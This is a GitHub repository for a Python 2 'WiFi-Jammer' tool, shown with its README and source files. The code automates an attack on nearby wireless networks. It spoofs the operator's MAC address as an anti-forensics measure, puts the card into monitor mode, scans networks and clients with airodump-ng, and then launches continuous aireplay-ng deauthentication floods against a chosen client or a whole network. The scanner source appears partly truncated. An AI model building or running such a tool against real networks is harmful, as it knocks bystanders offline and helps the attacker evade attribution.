├── core ├── __init__.py ├── functions.py └── network_scanner.py ├── screenshots ├── 1.png ├── 2.png ├── 3.png ├── 4.png ├── 5.png ├── 6.png ├── 7.png └── 8.png ├── README.md └── wifi_jammer.py /core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /screenshots/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zflemingg1/WiFi-Jammer/HEAD/screenshots/1.png -------------------------------------------------------------------------------- /screenshots/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zflemingg1/WiFi-Jammer/HEAD/screenshots/2.png -------------------------------------------------------------------------------- /screenshots/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zflemingg1/WiFi-Jammer/HEAD/screenshots/3.png -------------------------------------------------------------------------------- /screenshots/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zflemingg1/WiFi-Jammer/HEAD/screenshots/4.png -------------------------------------------------------------------------------- /screenshots/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zflemingg1/WiFi-Jammer/HEAD/screenshots/5.png -------------------------------------------------------------------------------- /screenshots/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zflemingg1/WiFi-Jammer/HEAD/screenshots/6.png -------------------------------------------------------------------------------- /screenshots/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zflemingg1/WiFi-Jammer/HEAD/screenshots/7.png -------------------------------------------------------------------------------- /screenshots/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zflemingg1/WiFi-Jammer/HEAD/screenshots/8.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WiFi-Jammer 2 | Simple Python automated tool to jam all traffic for either selected clients or networks within range and disconnect them from their AP. Simple Menu Interface to automate the entire process. 3 | 4 | ### Launching the program 5 | 6 | To use the program simply open up a terminal navigate to the directory and run it with "python wifi-jammer.py" 7 | 8 | ### Running The Program 9 | As soon as the program starts it checks for any processes that may interfere with it. You can then either select option 1 to kill these processes or option 2 to ignore. Note if you kill them, they will be restarted as soon as the program is terminated 10 | 11 | ![alt text](screenshots/1.png "Sample Output") 12 | 13 | Next you select your wireless interface 14 | 15 | ![alt text](screenshots/2.png "Sample Output") 16 | 17 | ![alt text](screenshots/3.png "Sample Output") 18 | 19 | The program will then take steps to spoof your mac adress as an anti forensics measure and enable monitor mode on your chosen interface 20 | 21 | ![alt text](screenshots/4.png "Sample Output") 22 | 23 | THe user then chooses to scan for target networks 24 | 25 | ![alt text](screenshots/5.png "Sample Output") 26 | 27 | ![alt text](screenshots/6.png "Sample Output") 28 | 29 | The user then chooses either to target a client or an entire network 30 | 31 | ![alt text](screenshots/7.png "Sample Output") 32 | 33 | To exit the program the user just has to press Ctrl+C. This will terminate the program and run the clean up process. The clean up process will restart all terminated process in step one if any. It will then restore the interfaces original mac address and put the interface back in managed mode. 34 | 35 | ![alt text](screenshots/8.png "Sample Output") 36 | 37 | ### Built With 38 | 39 | * Python 2.7.14 40 | 41 | ### Authors 42 | 43 | *** Zach Fleming --> zflemingg1@gmail.com 44 | 45 | 46 | -------------------------------------------------------------------------------- /wifi_jammer.py: -------------------------------------------------------------------------------- 1 | # Program to jam wifi by preventing clients from connecting to a target network 2 | # Author: Zach Fleming 3 | 4 | # Import the relevant python libraries 5 | from termcolor import colored 6 | from core import functions 7 | from core import network_scanner 8 | from tabulate import tabulate 9 | import os 10 | import time 11 | 12 | class Main_Menu(): 13 | 14 | interface_selected = False 15 | mac_address_spoofed = False 16 | monitor_mode = '' 17 | interface = '' 18 | conflicting_processes = [] 19 | processes_terminated = 0 20 | 21 | # Initialize class 22 | def __init__(self): 23 | self.menu() 24 | 25 | def additional_banner_info(self): 26 | if len(self.conflicting_processes) == 0 and self.processes_terminated == 0: 27 | self.conflicting_processes = functions.check_conflicting_processes() 28 | 29 | if len(self.conflicting_processes) !=0: 30 | print colored("[!] Conflicting Processes Found...\n",'yellow',attrs=['bold']) 31 | print colored(tabulate(self.conflicting_processes, headers=['PID','Process']),'red',attrs=['bold']) 32 | 33 | # kill conflicting processes 34 | self.conflicting_processes, self.processes_terminated = functions.terminate_conflicting_processes(self.conflicting_processes) 35 | 36 | 37 | 38 | if self.monitor_mode != '': 39 | print colored(self.monitor_mode,'red') 40 | 41 | if self.mac_address_spoofed == True: 42 | print colored(self.mac_address_info,'magenta'), 43 | print colored(" [Spoofed]",'magenta', attrs=['bold']) 44 | 45 | def menu(self): 46 | 47 | while 1: 48 | try: 49 | functions.banner() 50 | self.additional_banner_info() 51 | print colored("\nPlease Select 1 Of The Following Options\n", 'yellow',attrs=['bold']) 52 | print("1. Select Wireless Interface") 53 | print("2. List Wireless Networks") 54 | print("3. Exit\n") 55 | 56 | choice = functions.user_input_integer(3) 57 | if choice == 1: 58 | self.interface = functions.user_select_interface() 59 | self.interface_selected = True 60 | functions.system_clear() 61 | self.mac_address_info = functions.spoof_mac_address(self.interface) 62 | self.mac_address_spoofed = True 63 | functions.enable_monitor_mode(self.interface) 64 | self.monitor_mode = ("Monitor Mode: " + "[" + self.interface + "]") 65 | 66 | 67 | elif choice == 2 and self.interface_selected is True: 68 | functions.system_clear() 69 | functions.banner() 70 | self.additional_banner_info() 71 | network_scanner.launch_network_discovery(self.interface,self.conflicting_processes) 72 | 73 | elif choice == 3: 74 | if self.processes_terminated == 0: 75 | self.conflicting_processes = [] # if user hasn't decided to chose whether to kill processes or not --> inital run 76 | 77 | functions.cleanup(self.interface,self.interface_selected,self.mac_address_spoofed,self.conflicting_processes) 78 | 79 | 80 | else: 81 | functions.system_clear() 82 | print colored ("[!!] An interface must be selected",'yellow',attrs=['bold']) 83 | except KeyboardInterrupt: 84 | if self.processes_terminated == 0: 85 | self.conflicting_processes = [] # if user hasn't decided to chose whether to kill processes or not --> inital run 86 | 87 | functions.cleanup(self.interface,self.interface_selected,self.mac_address_spoofed,self.conflicting_processes) 88 | 89 | 90 | 91 | 92 | Main_Menu() 93 | 94 | -------------------------------------------------------------------------------- /core/functions.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import sys 4 | import subprocess 5 | from scapy.all import get_if_addr, get_if_hwaddr, get_working_if 6 | from termcolor import colored 7 | import re 8 | import inspect 9 | 10 | 11 | 12 | ############# Banner ############# 13 | def banner(): 14 | # Info about program --> Display to the user 15 | print colored(" .;' `;, ",'green') 16 | print colored(" .;' ,;' `;, `;, ",'green'), 17 | print colored("Advanced WiFi Jammer",'white',attrs=['bold','underline']) 18 | print colored(".;' ,;' ,;' `;, `;, `;, ",'green') 19 | print colored(":: :: : ",'green'), 20 | print colored("(_) ",'green',attrs=['blink']), 21 | print colored(" : :: :: ",'green'), 22 | print colored("Automated Wireless Signal Jammer",'white') 23 | print colored("':. ':. ':.",'green'), 24 | print colored("/_\\",'green',attrs=['blink']), 25 | print colored(",:' ,:' ,:' ",'green') 26 | print colored(" ':. ':. ",'green'), 27 | print colored("/___\\",'green',attrs=['blink']), 28 | print colored(" .:' ..:' ",'green'), 29 | print colored("Designed For Linux",'white') 30 | print colored(" ':. ",'green'), 31 | print colored("/_____\\ ",'green',attrs=['blink']), 32 | print colored(" ,:' ",'green'), 33 | print colored("https://github.com/zflemingg1/WiFi-Jammer",'white') 34 | print colored(" / \\",'green',attrs=['blink']) 35 | print colored (30 * "-", 'cyan') 36 | 37 | 38 | 39 | 40 | ############# Network Functions ############# 41 | 42 | def check_conflicting_processes(): 43 | conflicting_processes = os.popen("airmon-ng check").read() 44 | pid_pnames = [] 45 | pid_pname_re = re.compile(r'^\s*(\d+)\s*([a-zA-Z0-9_\-]+)\s*$') 46 | for line in conflicting_processes.split('\n'): 47 | match = pid_pname_re.match(line) 48 | if match: 49 | pid = match.group(1) 50 | pname = match.group(2) 51 | pid_pnames.append((pid, pname)) 52 | return pid_pnames 53 | 54 | def change_wireless_channel(number,interface): 55 | print "Changing to channel " + number 56 | try: 57 | #os.system("iwconfig " + interface + " channel " + number) 58 | change = subprocess.Popen("iwconfig " + interface + " channel " + number, shell=True).wait() 59 | #change.kill() 60 | print "sleeping in try" 61 | except Exception as e: 62 | print str(e) 63 | print "sleeping in except" 64 | 65 | def get_list_of_interfaces(): 66 | # Add Wireless Interfaces to list 67 | FNULL = open(os.devnull, 'w') 68 | proc = subprocess.Popen(['iwconfig'],stdout=subprocess.PIPE, stderr=FNULL) 69 | iface = '' 70 | interfaces = [] 71 | 72 | # For loop o iterate over interfaces and add wireless ones to list 73 | for line in proc.communicate()[0].split('\n'): 74 | 75 | if line.startswith((' ', '\t')) or len(line) ==0: # Ignore if line starts with a space or is of 0 length 76 | continue 77 | else: 78 | iface = line[:line.find(' ')] # is the interface 79 | 80 | interfaces.append(iface) # Add interface to list 81 | 82 | return interfaces 83 | 84 | def get_ip_of_interface(interfaces_list): 85 | interfaces = {} 86 | for iface in interfaces_list: 87 | ip_address = get_if_addr(iface) 88 | if (ip_address == "0.0.0.0") or (ip_address is None): 89 | interfaces[iface] = "None" 90 | else: 91 | interfaces[iface] = ip_address 92 | 93 | return interfaces 94 | 95 | 96 | def user_select_interface(): 97 | system_clear() 98 | interfaces = get_list_of_interfaces() 99 | 100 | ## Add Ip Addresses to list for number of interfaces ## 101 | interface_list = get_ip_of_interface(interfaces) 102 | 103 | i = 0 104 | count = 0 105 | banner() 106 | print colored ("Available Interfaces (Interface:IP Address)", 'yellow') 107 | for interface in interface_list: 108 | count +=1 109 | print(repr(count) + "." + ''.join([' : '.join([k,v]) for k, v in interface_list.items()])) 110 | i+=1 111 | 112 | ## User Selects Interface ## 113 | choice = user_input_integer(count) 114 | selected_interface = interfaces[choice - 1] 115 | 116 | return selected_interface 117 | 118 | def spoof_mac_address(interface): 119 | banner() 120 | print colored ("[*] Spoofing Mac Address For " + interface,'yellow') 121 | time.sleep(1) 122 | os.system("ifconfig " + interface + " down") 123 | mac_address_info = os.popen("macchanger -r " + interface).read() 124 | mac_address_info = mac_address_info[:-1] 125 | os.system("ifconfig " + interface + " up") 126 | print colored ("[*] Spoofing Mac Address For " + interface + " [OK]",'green') 127 | time.sleep(1) 128 | return mac_address_info 129 | 130 | 131 | def enable_monitor_mode(interface): 132 | print colored("\n[*] Enabling Monitor Mode On: " + interface,'yellow') 133 | time.sleep(1) 134 | try: 135 | os.system("ifconfig " + interface + " down") 136 | os.system("iwconfig " + interface + " mode monitor") 137 | os.system("ifconfig " + interface + " up") 138 | print colored("[*] Enabling Monitor Mode On: " + interface + " [OK]",'green') 139 | time.sleep(1) 140 | system_clear() 141 | except Exception as e: 142 | print("[!!] Error unable to to set up monitoring mode on interface: " + interface) 143 | print str(e) 144 | 145 | 146 | 147 | 148 | 149 | # To Restore From Monitor Mode 150 | #print("[*] Enabling Monitor Mode On: " + interface) 151 | #os.system("ifconfig " + interface + "down") 152 | #os.system("iwconfig " + interface + " mode managed") 153 | #os.system("ifconfig " + interface + "up") 154 | #print("Monitor Mode Successfully Enabled On: " + interface) 155 | 156 | 157 | # To restore 158 | #print("Restoring Mac Address For " + interface) 159 | #os.system("ifconfig " + interface + " down") 160 | #os.system("macchanger -p " + interface) 161 | #os.system("ifconfig " + interface + " up") 162 | 163 | 164 | 165 | 166 | 167 | ############# System Functions ############# 168 | 169 | def cleanup(interface,interface_status,mac_address_spoofed,restart_services): # If User Chooses To Exit The Program 170 | # If no interface has been selected 171 | if interface_status == False and len(restart_services) == 0: 172 | print colored("\nUser Terminated Program\n",'red',attrs=['bold']) 173 | exit(0) 174 | else: 175 | system_clear() 176 | banner() 177 | print colored("\n[*] Terminating Program...\n",'red',attrs=['bold']) 178 | #print inspect.stack()[1][3] 179 | # Restore Mac Address 180 | if mac_address_spoofed == True: 181 | print colored("[*] Restoring Mac Address For " + interface,'yellow',attrs=['bold']) 182 | os.system("ifconfig " + interface + " down") 183 | os.system("macchanger -p " + interface) 184 | os.system("ifconfig " + interface + " up") 185 | print colored("[*] Restoring Mac Address For " + interface + " [OK]\n",'green',attrs=['bold']) 186 | 187 | # Restore Managed Mode From Monitor 188 | if interface_status == True: 189 | print colored("[*] Disabling Monitor Mode & Restoring Managed Mode For " + interface,'yellow',attrs=['bold']) 190 | os.system("ifconfig " + interface + " down") 191 | os.system("iwconfig " + interface + " mode managed") 192 | os.system("ifconfig " + interface + " up") 193 | print colored("[*] Disabling Monitor Mode & Restoring Managed Mode For " + interface + " [OK]\n",'green',attrs=['bold']) 194 | 195 | # Restart Network Services 196 | if restart_services: 197 | # remove dhclient from service list -> unnecessary 198 | count = 0 199 | for element in restart_services: 200 | if "dhclient" in element: 201 | restart_services.pop(count) 202 | count +=1 203 | 204 | for element in restart_services: 205 | print colored("[*] Restarting Service " + element[1],'yellow') 206 | try: 207 | os.system("service " + element[1] + " restart") 208 | print colored("[*] Restarting Service " + element[1] + " [OK]\n",'yellow') 209 | except Exception as e: 210 | print e 211 | 212 | # now exit the program 213 | exit(0) 214 | 215 | def terminate_conflicting_processes(conflicting_processes): 216 | print colored("\nDo you wish to terminate these services? (Note: Services will restart upon terminating program)",'yellow') 217 | print colored("1. Yes",'cyan') 218 | print colored("2. No",'cyan') 219 | choice = user_input_integer(2) 220 | 221 | if choice == 1: 222 | print colored("\n[*] Terminating Conflicting Services...",'yellow') 223 | for element in conflicting_processes: 224 | try: 225 | os.system("kill " + element[0]) 226 | except Exception as e: 227 | print e 228 | print colored("[*] Terminating Conflicting Services... [OK]\n",'yellow') 229 | time.sleep(1) 230 | system_clear() 231 | banner() 232 | return (conflicting_processes,2) 233 | else: 234 | system_clear() 235 | banner() 236 | return ('',1) 237 | 238 | def system_clear(): 239 | os.system("clear") 240 | return 241 | 242 | 243 | def user_input_integer(num_range): 244 | while True: 245 | try: 246 | userInput = int(raw_input('\nPlease Enter Choice [' + repr(1) + '-' + repr(num_range) + ']: ')) 247 | except ValueError: 248 | print("Not an integer! Try again.") 249 | continue 250 | else: 251 | if(userInput < 1 or userInput > num_range ): 252 | print("Error Please Select A Valid Number") 253 | else: 254 | return userInput 255 | break 256 | 257 | 258 | def list_network_connections(interface): 259 | print("1.Get List of Targets On Network") 260 | 261 | ## Get User Choice ## 262 | ip_range = get_ip_of_interface(interface) 263 | ip_range = (".".join(ip_range.split('.')[0:-1]) + '.*') ## Format String to 0.0.0.* 264 | ## Take action as per selected menu-option ## 265 | subprocess.Popen(["xterm -hold -e nmap -sS -O " + ip_range],shell=True) 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | -------------------------------------------------------------------------------- /core/network_scanner.py: -------------------------------------------------------------------------------- 1 | import csv 2 | import re 3 | from termcolor import colored, cprint 4 | from tabulate import tabulate 5 | import subprocess 6 | import time 7 | import threading 8 | import os 9 | import sys 10 | import select 11 | import functions 12 | import termios 13 | 14 | # Declare Global Variables 15 | global airodump # will be used to kill the airodump thread 16 | global victim # will be used to kill any existing attacks 17 | global network_list_main 18 | global client_list_main 19 | client_list_main = [] 20 | network_list_main = [] 21 | 22 | # Create Target Class --> Holds data for a Target (aka Access Point aka Router) 23 | class Target: 24 | def __init__(self, bssid, power, data, channel, encryption, ssid): 25 | self.bssid = bssid 26 | self.power = power 27 | self.data = data 28 | self.channel = channel 29 | self.encryption = encryption 30 | self.ssid = ssid 31 | self.wps = False # Default to non-WPS-enabled router. 32 | self.key = '' 33 | self.clients = [] 34 | self.num_clients = 0 35 | 36 | 37 | # Create Client Class --> Holds data for a Client (device connected to Access Point/Router) 38 | class Client: 39 | def __init__(self, bssid, station, power, channel): 40 | self.bssid = bssid 41 | self.station = station 42 | self.power = power 43 | self.channel = channel 44 | 45 | # Sort list by power rating 46 | def sort_network_list(temp_list): 47 | network_list = sorted(temp_list, key = lambda x: x[5], reverse = True) # sort list by power rating 48 | 49 | # sort numbers i.e. 1-10 50 | z=0 51 | j = 1 52 | while z 0: 128 | temp = targets[i].clients 129 | for element in clients: 130 | if element.bssid in temp: 131 | client_info = [j+1,targets[i].ssid,clients[j].bssid,clients[j].station,clients[j].power,targets[i].channel] 132 | client_list.append(client_info) 133 | j+=1 134 | i+=1 135 | 136 | client_list_main = sort_client_list(client_list,len(targets)) # sort the list by power 137 | 138 | # Print Table 139 | print "\n" 140 | print colored (30 * "-", 'cyan') 141 | print colored("Networks With Active Clients",'white',attrs=['bold']) 142 | print colored (30 * "-", 'cyan') 143 | print colored(tabulate(client_list, headers=['Number','Client BSSID','Network ESSID','Client Station','Client Power']),'green',attrs=['bold']) 144 | return 145 | 146 | # Format the data recieved from the airodump network sniff 147 | def parse_network_info(): 148 | global airodump 149 | # Declare Variables 150 | targets = [] # list to hold list of target networks discovered 151 | clients = [] # list to hold list of clients discovered 152 | hit_clients = False 153 | 154 | # Open CSV FIle and extract & format relevant information 155 | with open('ddd-01.csv', 'rb') as csvfile: 156 | targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',') 157 | for row in targetreader: 158 | if len(row) < 2: 159 | continue 160 | if not hit_clients: 161 | if row[0].strip() == 'Station MAC': 162 | hit_clients = True 163 | continue 164 | if len(row) < 14: 165 | continue 166 | if row[0].strip() == 'BSSID': 167 | continue 168 | enc = row[5].strip() 169 | wps = False 170 | 171 | # if statement to neaten encoding name 172 | if enc == "WPA2WPA" or enc == "WPA2 WPA": 173 | enc = "WPA2" 174 | wps = True # wps is active 175 | 176 | power = int(row[8].strip()) 177 | ssid = row[13].strip() 178 | ssidlen = int(row[12].strip()) 179 | ssid = ssid[:ssidlen] 180 | if power < 0: power += 100 181 | 182 | # create target instance and add it to the list 183 | t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid) 184 | t.wps = wps # enable wps in the instance 185 | targets.append(t) # add to list 186 | 187 | # Handle Clients Found 188 | else: 189 | if len(row) < 6: 190 | continue 191 | bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip()) 192 | station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip()) 193 | power = row[3].strip() 194 | if station != 'notassociated': 195 | c = Client(bssid, station, power, '') 196 | clients.append(c) 197 | 198 | # Pass on to display functions 199 | functions.system_clear() # clear screen, neatens the display for the user 200 | functions.banner() # print banner 201 | 202 | # check if airodump is still scanning for networks or not 203 | airodump_alive = airodump.poll() 204 | if airodump_alive == None: 205 | print colored ("\n[*] Scanning... Found " + repr(len(targets)) + " Networks, Clients " + repr(len(clients)) + " (press any key to stop scanning)", 'magenta',attrs=['bold']) 206 | else: 207 | print colored ("\n[*] Found " + repr(len(targets)) + " Networks, Clients " + repr(len(clients)) + "", 'magenta',attrs=['bold']) 208 | 209 | # call functions to handle the targets and clients tables 210 | create_network_table(targets,clients) 211 | create_client_table(targets,clients) 212 | 213 | return len(targets) 214 | 215 | def launch_network_discovery(interface,restart_services): 216 | global airodump 217 | global client_list_main 218 | import os 219 | 220 | #Check if file exits and if so delete it 221 | filepath = os.getcwd() 222 | filepath = filepath + "/ddd-01.csv" 223 | filepath2 = "'" +filepath + "'" 224 | if os.path.exists(filepath): 225 | subprocess.Popen("rm " + filepath2, shell=True).wait() 226 | 227 | try: 228 | FNULL = open(os.devnull, 'w') # used to hide outp[ut from terminal display 229 | airodump = subprocess.Popen(['airodump-ng','wlan0', '--write-interval', '3', '-w','ddd', '-o', 'csv'],stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=FNULL) # open airodump subprocess 230 | 231 | print colored ("\n[*] Searching For Wirless Networks", 'yellow',attrs=['bold']), 232 | print colored ("...", 'yellow',attrs=['bold','blink']) 233 | time.sleep(10) 234 | 235 | # while loop to display network info to the user 236 | while True: 237 | functions.system_clear() 238 | parse_network_info() 239 | print "\nEnter any key to stop scanning:" 240 | i, o, e = select.select( [sys.stdin], [], [], 3) 241 | 242 | # if statement to check if input as been recieved within 3 seconds 243 | if not (i): 244 | pass 245 | else: 246 | break 247 | 248 | # kill airodump process and wait for it to finish 249 | airodump.kill() 250 | airodump.wait() 251 | functions.system_clear() 252 | max_value = parse_network_info() 253 | max_value = int(max_value) + len(client_list_main) 254 | choice = functions.user_input_integer(max_value) 255 | launch_attack(choice,interface,restart_services) 256 | 257 | 258 | except KeyboardInterrupt: 259 | functions.cleanup(interface,True,True,restart_services) 260 | 261 | 262 | 263 | def launch_attack(number,interface,restart_services): 264 | global network_list_main 265 | global client_list_main 266 | global victim 267 | target = '' 268 | router = False 269 | 270 | # Check if user has selected a client or whole network 271 | client_index = len(network_list_main)+1 272 | user_option = number - client_index 273 | 274 | # If user selected a client 275 | if number >= int(client_index): 276 | target = client_list_main[user_option][2] 277 | channel = client_list_main[user_option][5] 278 | functions.change_wireless_channel(channel,interface) 279 | print client_list_main[user_option] 280 | 281 | else: 282 | router = True 283 | target = network_list_main[(number-1)][1] 284 | channel = network_list_main[(number-1)][3] 285 | functions.change_wireless_channel(channel,interface) 286 | 287 | 288 | functions.system_clear() 289 | functions.banner() 290 | #print client_list_main[user_option][3] 291 | #print client_list_main[user_option] 292 | print "Channel: " + channel 293 | print channel 294 | # Start Attack 295 | try: 296 | # If client 297 | if router == False: 298 | print colored ("\n[*]Initiating Deathentication For Victim: " + target + "\n",'magenta',attrs=['bold']) 299 | subprocess.Popen("aireplay-ng -0 0 -a " + client_list_main[user_option][3] + " -c " + target + " " + interface, shell=True).wait() 300 | 301 | else: 302 | subprocess.Popen("aireplay-ng -0 0 -a " + network_list_main[(number-1)][2] + " " + interface, shell=True).wait() 303 | #os.system("aireplay-ng -0 0 -a " + network_list_main[(number-1)][2] + " " + interface) 304 | except Exception as (e): 305 | print colored("[!!] Error! Something Unexpected Happened",'red',attrs=['bold']) 306 | print str(e) 307 | time.sleep(3) 308 | functions.cleanup(interface,True,True,restart_services) 309 | 310 | 311 | 312 | 313 | 314 | 315 | --------------------------------------------------------------------------------